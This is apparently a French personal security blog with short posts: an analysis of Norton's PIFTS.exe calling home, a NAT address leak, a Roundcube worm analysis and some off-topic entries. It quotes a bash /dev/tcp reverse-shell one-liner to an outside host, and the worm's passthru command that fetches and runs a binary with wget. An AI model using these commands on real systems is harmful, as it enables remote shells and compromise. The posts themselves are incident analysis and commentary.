das gelimes Blauge

« juillet 2009
Lu	Ma	Me	Je	Ve	Sa	Di
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30	31

Norton calls home

10/03/2009 à 19:29:17

Symantec a des souci de patch management

Un binaire (pifts.exe) semble être poussé depuis peu par le système de mise à jour automatique de Symantec pour le produit Norton. Sauf que celui-çi est bloqué en tentant de se connecter en retour à un serveur de stats de symantec. Les questions n'ont pas tardé à fuser le forum communautaire de symantec sauf que les posts mentionnant le terme PIFTS.EXE sont aussitôt effacés, un peu ennuyant...
On peut récupérer sur le net un binaire (pas de md5 officiel pour être sûr que c'est le bon), et voila ce que donne la sandbox anubis avec :

anubis.iseclab.org/?action=result&task_id=1ea5cae275779b894c1797404efd49cb3&call=first

(on notera la possibilité de récupérer le pcap des flux réseau générés, ça c'est cool.)

En somme ça semble pas si malveillant...
Pas vu d'IP africaine non plus (dans un commentaire de isc.sans.org/diary.html?storyid=5992&rss).

Comme il a été remarqué le binaire est proprement paddé par des "PADDINGXX" pour atteindre 102400 octets (100Ko tout rond), cela semble venir de Microsoft Visual C++ qui padde la fin du manifest.
un strings dessus peut réveler le path local du fichier de symboles : d:\perforce\entiredepot\consumer_crt\patchtools\patch021809db\release\PIFTS.pdb (tiens Symantec utilise perforce en interne)

le string de la trace pcap (h0t stuff) :

GET /n/p?module=2667&product=unknown&version=-1&e=-1&f=-1&g=-1&h=-1&i=0&j=-1 HTTP/1.1
User-Agent: PATCH021809DB
Host: stats.norton.com


HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Length: 0
Date: Tue, 10 Mar 2009 11:14:19 GMT
Connection: close

Aucun commentaire

campagne de pub RATP

15/02/2009 à 20:41:42

stress ton parigot

c'est parti, la campagne de pub "stress ton parigot" est lancée. désormais je repousserai violemment les poussettes, ou les personnes agées qui tentent de monter dans une rame, ils font bien entendu perdre du temps à tout le monde. foo

Aucun commentaire

leak d'adresses internes

04/02/2009 à 20:00:20

quand le routeur ne SNAT plus

Sur une machine derrière un routeur ADSL grand public quand on fait ceci :

>>> send(IP(dst="X.X.X.X")/TCP(dport=31337, flags="SA"))

on peut observer sur la machine X.X.X.X disposant d'une adresse internet routable ceci :

20:06:36.361061 IP 192.168.1.2.20 > X.X.X.X.31337: S 0:0(0) ack 0 win 8192

Il y a donc 1) un léger contournement de la fonction NAT de la boîte et 2) elle n'est pas configurée pour faire du reverse path filtering.

Aucun commentaire

Les scripts-fu l33t c'est pas pour les debianeux

18/01/2009 à 23:18:05

à quoi pourrait bien servire les --net-redirections ?

Au hasard de pérégrination pre-nocturnes je me suis hasardé sur une page recensant un hack sympa

exec 5<>/dev/tcp/masterofpuppets.com/8080 && cat <&5 | while read line
do $line 2>&5 >&5; done

qui comme on peut le voir, consiste quand on est en mode offsenif, à se faire un reverse shell avec une ficelle et deux bouts de bois (MacGyver n'a qu'a bien se tenir).
Sauf que sous Debian, ben les MacGyvers on en veut pas.
Et à la question peut-on rire de tout ? Debian répond :

    It can produce completely unexpected results. This kind of
    feature should not be part of a shell but a special tool. And
    that tool has existed for years already, it's called netcat.

Que la veuve et l'orphelin se rassure, la susmentionnée page a bien entendu été défacée^Wmodifiée dans un élan de générosité humaniste à la hauteur des oeuvres caritatives de soeur Emmanuelle...
PS: musical mood inside

Aucun commentaire

exploitation de roundcube in the wild

09/01/2009 à 20:38:05

rapide analyse d'intrusions via une faille PHP

Un vers tourne en ce moment qui tente d'exploiter deux failles d'injection de code dans le webmail php ajax roundcube (dont l'une a été publiée sur milworm). La plupart des machines infectées portent les stigmates du-dit vers, à savoir un (gros) binaire dans /tmp et pleins de process du même nom en mémoire.

$ ls -lh /tmp/wcube*
-rwxr-xr-x 1 apache apache 653K Jan  8 05:28 /tmp/wcube
-rw-rr 1 apache apache 653K Jan  8 05:28 /tmp/wcube.1
-rw-rr 1 apache apache   34 Jan  8 06:30 /tmp/wcube.2
$ passthru("md5sum /tmp/wcube");
4044d1149e20fa556455544e772c9219  /tmp/wcube

un rapide coup d'oeil sur les process en mémoire nous montre que ça se passe pas si bien...

32763 ?        00:00:00 wcube < defunct >
32764 ?        00:00:00 wcube < defunct >
32765 ?        00:00:00 wcube < defunct >
32766 ?        00:00:00 wcube < defunct >
32767 ?        00:00:00 wcube < defunct >

Un strings sur le-dit binaire explique le souci :

[...]
passthru("cd /tmp;wget x.x.x.x/wcube;chmod +x wcube;./wcube >/dev/null 2>/dev/null &");
[...]

Quand il s'agit d'attaque manuelle, le h4x0r aura bien entendu déposé un reverse shell php, qui contient son IP/port (cadeau pour les investigateurs). Concernant la localisation des attaques sur un petit (à prendre donc avec des pincettes) échantillon on obtient :

     10  US, United States
      9  NL, Netherlands
      4  --, N/A
      3  FR, France
      3  DE, Germany
      2  RU, Russian Federation
      2  CN, China
      1  LK, Sri Lanka
      1  GB, United Kingdom

(box située en FR)

Aucun commentaire

WTF of the day

06/01/2009 à 18:20:00

la 3ème roue du carosse

Aucun commentaire

Google ¡Hola! to StreetView

16/11/2008 à 21:32:28

if you type "Google" into google it can break the internet -- Jen Barber, The IT Crowd, s02e05

Par simple curiosité, je voulais voir via street view à quoi ressemblent les abords du HQ Google en Californie, je cherche donc l'adresse d'un coup de whois et rentre celle-çi dans Google Maps, surprise, apparemment ils y a eu un peu de com en interne sur le passage de la google car devant les locaux de la boîte :-)

google street view